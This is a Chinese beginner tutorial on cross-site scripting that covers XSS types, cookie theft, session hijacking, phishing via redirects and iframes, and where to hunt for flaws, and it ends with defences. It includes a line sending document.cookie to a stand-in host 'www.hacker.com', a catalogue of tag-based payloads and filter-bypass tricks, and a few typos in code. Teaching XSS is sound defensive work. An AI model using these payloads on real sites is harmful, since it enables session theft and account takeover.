XSS入门

文章的内容包括XSS注入的原理与应用
入门小白进阶XSS的文章

xss攻击(Cross Site Scripting)全称跨站脚本攻击。通过嵌入恶意脚本代码到正常的用户能访问到的网页。当用户正常访问该页面时,执行恶意代码 。xss攻击可窃取cookie信息,监听用户行为,威胁web服务器安全,危害极大。

1.XSS注入介绍

1.1 XSS漏洞

   比如说HTML超文本标记语言中<>标识开始,在动态页面中插入<Javascript脚本语言>,使得网页误以为插入了HTML语言,而成功执行Javascript脚本语言。xss攻击就利用了xss漏洞,执行脚本语言。

如:恶意链接

1
http://xx.com/?search=<script>alert(”xss攻击”)</script>

访问URL,最后跳出弹框“xss攻击”。

以下是可以利用XSS漏洞来达成的攻击:

  • 网页挂马;
  • 盗取Cookie;
  • DoS攻击;
  • 钓鱼攻击;
  • 蠕虫攻击;
  • 劫持用户web行为;

XSS1

1.2 XSS分类

XSS的类型主要有以下三种:

  1. 反射型XSS

  2. 存储型XSS

  3. DOM型XSS

第一种反射型XSS:

反射型payload一般存在于网页的Url中,只用户单击时触发,只执行一次,非持久化,故称反射型XSS。它是经过后端处理,不经过数据库。攻击者发送恶意Url链接让受害者点击(一般会对payload部分进行处理,如:编码转换和短域名跳转)。

XSS2

第二种存储型XSS:

存储型xss攻击是持久型的。也是经过后端处理,但是经过数据库。会直接威胁web服务器安全,无需用户点击特定的url就可执行脚本攻击。

常见于页面数据交汇处,如:评论,修改用户信息,登录,留言板,搜索等地方。攻击者将脚本代码嵌入留言区等,提交到服务器,其他用户登录时也会执行该脚本代码。

XSS3

第三种DOM型XSS:

DOM型XSS其实是一种特殊类型的反射型XSS,是不经过后端处理。它是基于DOM文档对象模型的一种漏洞。

XSS4


2.XSS注入利用

2.1 COOKIE窃取

    Cookie盗取是xss攻击中最实用也是最广泛的一种利用方式之一。我们知道Cookie是Web系统识别用户的身份和保存会话状态的主要机制,且是由服务器提供的、存储在客户端的一种数据。同时,对于cookie的操作十分的方便,我们可以通过Document对象访问Cookie。如:

1
<script>alert(document.cookie)</script>

会弹出当前页面的cookie信息。

Cookie有如下常见的属性:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Domain————设置关联Cookie的域名;

Expires————通过给定一个过期时间来创建一个持久化Cookie;

Httponly————用于避免Cookie被Javascript访问;

Name————Cookie的名称;

Path————关联到Cookie的路径,默认为/;

Value————读写Cookie的值;

Secure————用于指定Cookie需要通过安全Socket层传递连接;

Cookie也可以安装类型分为:

本地Cookie————即储存在计算机硬盘中,关闭浏览器后依旧存在;

内存Cookie————即储存在内存中,随浏览器的关闭而消失;

   如何区分两者很简单,只要判断cookie中的expires即过期时间属性有没有设置,如果设置了即为本地cookie,反之为内存cookie。由于Cookie具有的不同属性,我们可以将不同属性的Cookie盗取方式分为以下几种情况。

默认

即不对Cookie的任何属性进行指定就设置Cookie的情况。这种情况下Cookie的获取最为简单。可以通过下列方式获取:

1
2
3
4
5
<script>

new Image().src="http://www.hacker.com/cookie.php?cookie="+document.cookie;

</script>

不同域

这是由于domain字段的机制导致的。一个Cookie如果不知道domain的值,则默认为本域。

例如有两个网站www.a.com和test.a.com且后者存在xss漏洞,按照同源策略,这两个网站是不同源的,默认情况下我们无法直接从test.a.com获取到www.a.com的Cookie,可是如果www.a.com的Cookie值中的domain属性设置为父级域即a.com,就可以通过test.a.com的xss漏洞获取到www.a.comwww.a.com的Cookie值。

不同路径

这是由于path字段的机制导致的。在设置Cookie时,如果不指定path的值,默认就是目标页面的路径。比如在www.a.com/admin/index.php设置cookie值且不知道path,那么path默认为/admin/。javascript可以指定任意路径的cookie,但是只有对于path值的目录下才能读取Cookie,即上述例子中只有/admin/目录下的javascipt才能读取前边设置的Cookie。

Http Only

HttpOnly是指仅在Http层面上传输的Cookie,当设置了HttpOnly标志后,客户端脚本就无法读取该Cookie,这样做能有效防御XSS攻击获取Cookie,也是目前防御XSS的主流手段之一。不过利用某些特定方式也可以同样读取到标志了HttpOnly的Cookie。

利用调试信息,如:PHP的phpinfo()和Django的调试信息,里边都记录了Cookie的值,且标志了HttpOnly的Cookie也同样可以获取到。

利用Apache Http Server 400错误暴露HttpOnly Cookie的特点。

Secure

Secure是指设置了Secure的Cookie尽在HTTPS层面上进行安全传输,如果请求是HTTP的,则不会带上改Cookie,这样做的好处是可以降低Cookie对中间人攻击获取的风险,不过对我们此处讨论的XSS攻击无拦截效果,可通过默认情况下获取。

P3P

HTTP响应头的P3P字段可以用于标识是否允许目标网站的Cookie被另一域通过加载目标网站而设置或发送。

我们来举个例子,在A域通过iframe等方式加载B域(此时也称B域为第三方域),如果我们想通过B域来设置A域的Cookie,或加载B域时带上B域的Cookie,这时就得涉及到P3P。

B域设置A域Cookie

在IE下默认是不允许第三方域设置的的,除非A域在响应头带上P3P字段。当响应头头带上P3P后,IE下第三方域即可进行对A域Cookie的设置,且设置的Cookie会带上P3P属性,一次生效,即使之后没有P3P头也有效。

加载B域时Cookie传入问题

我们知道Cookie分为内存Cookie和本地Cookie,当我们通过A域加载B域时,默认是带内存Cookie加载(如果无内存Cookie则不带),而如果想要带本地Cookie加载,则本地Cookie必须带P3P属性。

2.2 会话劫持

由于Cookie的不安全性,开发者们开始使用一些更为安全的认证方式——Session。

这里提到Session是因为我们在现实情况中可能会出现已经获取到了Cookie,但是由于用户已经退出了浏览器指示Session无效,导致我们无法通过Cookie欺骗来获取用户权限;又比如有的网站设置了HttpOnly,获取不到Cookie;再者有的网站将Cookie与客户端IP向绑定;此时我们便可以利用会话劫持来达到目的。

会话劫持的实质就是模拟GET/POST请求(带Cookie)通过受害者浏览器发送给服务器,我们可以通过下面的方式来完成。

1
2
3
4
5
var img = document.creatElement("img");

img.src = "http://www.a.com/del.php?id=1";

document.body.appendChild(img);

通过javascript控制DOM对象来发起一个GET请求,如:

通过javascript自动构造隐藏表单并提交(POST)

通过XMLHttpRequest直接发送一个POST请求

我们可以通过构造的GET/POST请求来实现如添加管理员、删除文章、上传文件等操作。XSS蠕虫从某种意义上来说也属于会话劫持。

2.3钓鱼

现在一般我们都可以很容易的防范钓鱼网站,可是当钓鱼网站与XSS漏洞结合呢?设想一下,如mail.qq.com的页面存在XSS漏洞,攻击者通过iframe替换了原来的页面成钓鱼页面,并且网页的Url还是原来的页面,你是否能察觉出来?

2.3.1XSS重定向钓鱼

即从www.a.com通过xss漏洞跳转到www.b.com的钓鱼页面上,整个过程变化明显,受害者易察觉。

1
http://www.a.com/index.php?search=%3Cscript%3Edocument.location.href="http://www.b.com/index.php"%3C/script>
2.3.2HTML注入式钓鱼

通过javascript来修改页面的DOM对象属性,或在原页面中添加新的DOM元素。前者相对于后者更隐蔽。

2.4 Iframe

攻击者通过javascript来添加一个新的Iframe标签嵌入第三方域的内容(钓鱼网页),此时主页面仍处于正常页面下,具有极高的迷惑性。


3.XSS注入漏洞挖掘

3.1 XSS攻击过程

反射型XSS攻击的流程如下:

  1. 攻击者寻找具有漏洞的网站

  2. 攻击者给用户发了一个带有恶意字符串的链接

  3. 用户点击了该链接

  4. 服务器返回HTML文档此时该文档已经包含那个恶意字符串

  5. 客户端执行了植入的恶意脚本,XSS攻击就发生

存储型XSS攻击的流程如下:

  1. 用户提交了一条包含XSS代码的留言到数据库

  2. 当目标用户查询留言时,那些留言的内容会从服务器解析

  3. 后加载出来

  4. 浏览器发现有XSS代码,就当做正常的HTML和JS解析执行

DOM型XSS攻击的流程如下:

  1. 攻击者寻找具有漏洞的网站
  2. 攻击者给用户发了一个带有恶意字符串的链接
  3. 用户点击了该链接
  4. 服务器返回HTML文档,该文档此时不包含那个恶意字符串
  5. 客户端执行了该HTML文档里的脚本,然后把恶意脚本植入了页面
  6. 客服端执行了植入的恶意脚本,XSS攻击就发生了
3.2XSS挖掘点

数据交互的地方

  • get、post、cookies、headers
  • 反馈与浏览
  • 文本编辑器
  • 各类标签插入和自定义

数据输出的地方

  • 用户资料
  • 关键词、标签、说明
  • 文件上传
  • 反射型常见注入点:
  • 网站的搜索栏、用户登录入口、输入表单等地方,常用来窃取客户端cookies或钓鱼欺骗。
  • 存储型常见注入点:
  • 论坛、博客、留言板、网站的留言、评论、日志等交互处。

DOM型注入点:

通过js脚本对对文档对象进行编辑,从而修改页面的元素。也就是说,客户端的脚本程序可以DOM动态修改页面的内容,从客户端获取DOM中的数据并在本地执行。由于DOM是在客户端修改节点的,所以基于DOM型的XSS漏洞不需要与服务器端交互,它只发生在客户端处理数据的阶段。可能触发DOM型XSS的属性:

  • document.referer属性
  • window.name属性
  • location属性
  • innerHTML属性
  • documen.write属性
3.3白盒审计

通过查看源代码来判断网站的交互点是否存在安全过滤。由于此处涉及代码审计内容。

3.4黑盒审计

在现实环境中挖掘XSS漏洞时黑盒的情况偏多。我们进行XSS黑盒测试时主要分为手工检测和工具检测。

3.4.1手工检测

首先我们需要尽可能地找到目标的每个输入输出点并挨个尝试;在进行尝试的时候,我们应优先选择特殊字符进行测试,如”<>&;/‘:等,如果连<>都未过滤/转义,那么该输入点很可能存在XSS漏洞。

如果<>等标记符号都被过滤/转义了,我们也可以使用标签自身的属性/事件

1
(href,lowsrc,bgsound,backgroud,value,action,dynsrc等)

来触发XSS,如

1
<input name="xx" value=<?=$query?>>

这里的$query属于动态内容,我们把他替换成恶意代码,最终的代码为

1
<input name="xx" value=xss onmouseover=evil_script>

一般来说,针对输入框的黑盒测试可能存在反射型XSS,也可能存在存储型XSS,还有可能是DOM型,针对Url参数的黑盒测试绝大多数只存在反射型XSS或DOM型XSS。

常见标签

img标签

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

利用方式1
<img src=javascript:alert("xss")>

<IMG SRC=javascript:alert(String.formCharCode(88,83,83))>

<img scr="URL" style='Xss:expression(alert(/xss));'

<!--CSS标记xss-->

<img STYLE="background-image:url(javascript:alert('XSS'))">

XSS利用方式2
<img src="x" onerror=alert(1)>

<img src="1" onerror=eval("alert('xss')")>

XSS利用方式3
<img src=1 onmouseover=alert('xss')>

a标签

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
标准格式
<a href="https://www.baidu.com">baidu</a>

XSS利用方式1
<a href="javascript:alert('xss')">aa</a>

<a href=javascript:eval(alert('xss'))>aa</a>

<a href="javascript:aaa" onmouseover="alert(/xss/)">aa</a>

XSS利用方式2
<script>alert('xss')</script>

<a href="" onclick=alert('xss')>aa</a>

利用方式3
<a href="" onclick=eval(alert('xss'))>aa</a>

利用方式4
<a href=kycg.asp?ttt=1000 onmouseover=prompt('xss') y=2016>aa</a>

input标签

1
2
3
4
5
6
7
8
9
10
11
12
标准格式
<input name="name" value="">

利用方式1
<input value="" onclick=alert('xss') type="text">

利用方式2
<input name="name" value="" onmouseover=prompt('xss') bad="">

利用方式4
<input name="name" value=""><script>alert('xss')</script>

form标签

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
XSS利用方式1
<form action=javascript:alert('xss') method="get">

<form action=javascript:alert('xss')>

XSS利用方式2
<form method=post action=aa.asp? onmouseover=prompt('xss')>

<form method=post action=aa.asp? onmouseover=alert('xss')>

<form action=1 onmouseover=alert('xss)>

XSS利用方式3
<form method=post action="data:text/html;base64,<script>alert('xss')</script>">

<!--base64编码-->
<form method=post action="data:text/html;base64,
PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">

iframe标签

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
XSS利用方式1
<iframe src=javascript:alert('xss');height=5width=1000 /><iframe>

XSS利用方式2
<iframe src="data:text/html,&lt;script&gt;alert('xss')&lt;/script&gt;"></iframe>

<!--``原code-->
<iframe src="data:text/html;base64,<script>alert('xss')</script>">

<!--base64``编码-->
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">

XSS利用方式3
<iframe src="aaa" onmouseover=alert('xss') /><iframe>

XSS利用方式4
<iframe src="javascript&colon;prompt&lpar;`xss`&rpar;"></iframe>

svg标签

1
2
3
4
<svg onload=alert(1)>

iframe
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="></iframe>
3.4.2工具检查

XSS的自动检测软件有,Burp的Scan模块,BruteXSS等


4.shellcode的绕过

4.1 绕过XSS-Filter

XSS-Filter是一段基于黑名单的过滤函数,大多数CMS都有这么个函数,作用于用户的每一个输入点,用于过滤可能的恶意代码。不过从某种意义上来说,基于黑名单的保护是一定不会是安全的,由于XSS的多变性,几乎不可能存在完全地过滤。

4.2 空格回车和Tab

对XSS-Filter而言,如果仅仅是将函数加入黑名单处理,那么可以在函数名称之中尝试加入空格、回车、Tab等键位符来进行绕过。这是由于在javascript中只会将;作为语句的终止符,当浏览器引擎解析javascript脚本时没有匹配到;便会继续处理,知道发现下个分号为止,而换行符并不是终止符。如下列代码可绕过对关键字javascript|alert的过滤:

1
<img src=javascript:alert(/xss/)>
4.3 对标签属性值进行转码

HTML中属性值支持ASCII码形式,如:

1
<img src="javascript:alert('xss');">

​ 替换成

1
<img src="javascrip&#116&#58alert('xss');">

其中在ASCII表中116为t,58为:。也可以将&#01,&#02等插入javascript的头部,还可以将tab(&#09)|换行符(&#10)|回车键(&#13)插入到代码中的任意位置。

4.4 Fuzz标签未过滤事件名

如以下例子:

1
<img src=x onerror=alert(/xss/)>

其中的onerror即为IMG标签的一个事件,通常这样的事件都是以on开头,常见的有:

1
2
3
4
5
onResume          onReverse     onSeek

onSynchRestored onURLFlip onRepeat

onPause onstop onmouseover
4.5 使用CSS绕过

利用Css样式表可以执行javascript的特性,如

​ Css直接执行javascript:

1
2
3
4
5
<div style="background-image:url(javascript:alert('xss'))">
<style>
body {background-image:url("javascript:alert('xss')");}
</style>

1
2
3
<style>
@import 'javascript:alert("xss")';
</style>

css中使用expression执行javascript:

1
2
3
4
5
<div style="width: expression(alert('xss'))">
<img src="#" style="xss:expression(alert(/xss/))">
<style>
body {background-image:expression("alert('xss')");}
</style>

上述的两个例子中,都用到了样式表的url属性来执行XSS代码。

除了上述两种,还可以利用@import直接执行javascript代码

在现实环境下,HTML页面中的Css与Javascript的嵌入方式很相似,且Css也可以执行javascript代码,故我们的XSS代码也可以通过嵌入远程恶意css文件来进行XSS攻击。

4.6 扰乱规则

大小写变换;

  • 利用expression执行跨站代码的时候,可以构造不同的全角字符来扰乱过滤规则;

  • 结合样式表注释字符/**/,通过css执行javascript

  • 样式标签会过滤\和\0,可以构造如:

    1
    @i\mp\0\0ort 'jav\0asc\0rip\t:al\0er\t("x\0ss")'绕过
  • Css关键字进行编码处理,如:

    1
    <p style="xss:\0065xpression(alert(/xss/))">

    ​ 其中65为字母e进行unicode编码后的数字部分

  • 利用浏览器解析注释的问题

4.7 利用字符编码

javascript支持许多的编码格式,如:

  • unicode
  • escapes
  • 十六|十|八进制

5.XSS 防御

5.1 给cookie设置httpOnly

设置 Cookie 的 httpOnly 属性时,会致使客户端脚本(即JavaScript)无法访问cookie的信息(例如在控制台打印document.cookie无法获取到信息),只有与服务端交互的时候,http请求头才会带上该cookie的信息(控制台Network-包名-Headers-Request Headers-Cookie可查看详细信息),从而减少 Cookie 被盗取的可能性;但由于网站本身可能也需要获取 Cookie 的信息,因此通常来说,我们只会在部分重要的 Cookie 上(如密码)设置 httpOnly 属性。

XSS5

5.2 输入检查

(一) 白名单

定义:判断输入格式,只允许通过特定格式的字符。

对于只允许用户提交纯文本的情况下。例如注册帐号时,使用白名单的形式检测邮箱的格式是否正确;

对于允许用户提交一些自定义 HTML 代码的情况下(富文本),如评论框、帖子的内容有图片、链接、表格等(需要通过 HTML 代码来实现)。使用白名单的形式(只可以使用指定的标签和属性)来实现输入检查。

(二) 黑名单

定义:收到数据时过滤危险字符

1
(各种标签与属性,如<script>,<style>,<iframe>,onclick,onerror等),或者转义特殊字符(如:<-->&lt;,>-->&gt;,&-->&amp;,\-->&quot;,"-->&quot;,'--'>等)

对于允许用户提交一些自定义 HTML 代码的情况下(富文本),可以使用黑名单来过滤与转义危险字符。过滤与转义需前端与服务端配合使用,因为可以使用某些工具(如Node)绕过前端检测,直接发送数据给服务端。

5.3 输出检查
  • HTML 标签中(用户输入将在 HTML 解析环境进行)

  • HTML 属性中(用户输入将在 HTML 解析环境进行)

  • script 标签中 (用户输入将在 JavaScript 解析环境进行)

  • HTML 事件属性中(用户输入将在 JavaScript 解析环境进行)

  • 地址栏中(用户输入将在 URL 解析环境进行)

    XSS6

谢谢大家欣赏文章!
------ 本文结束感谢您的阅读 ------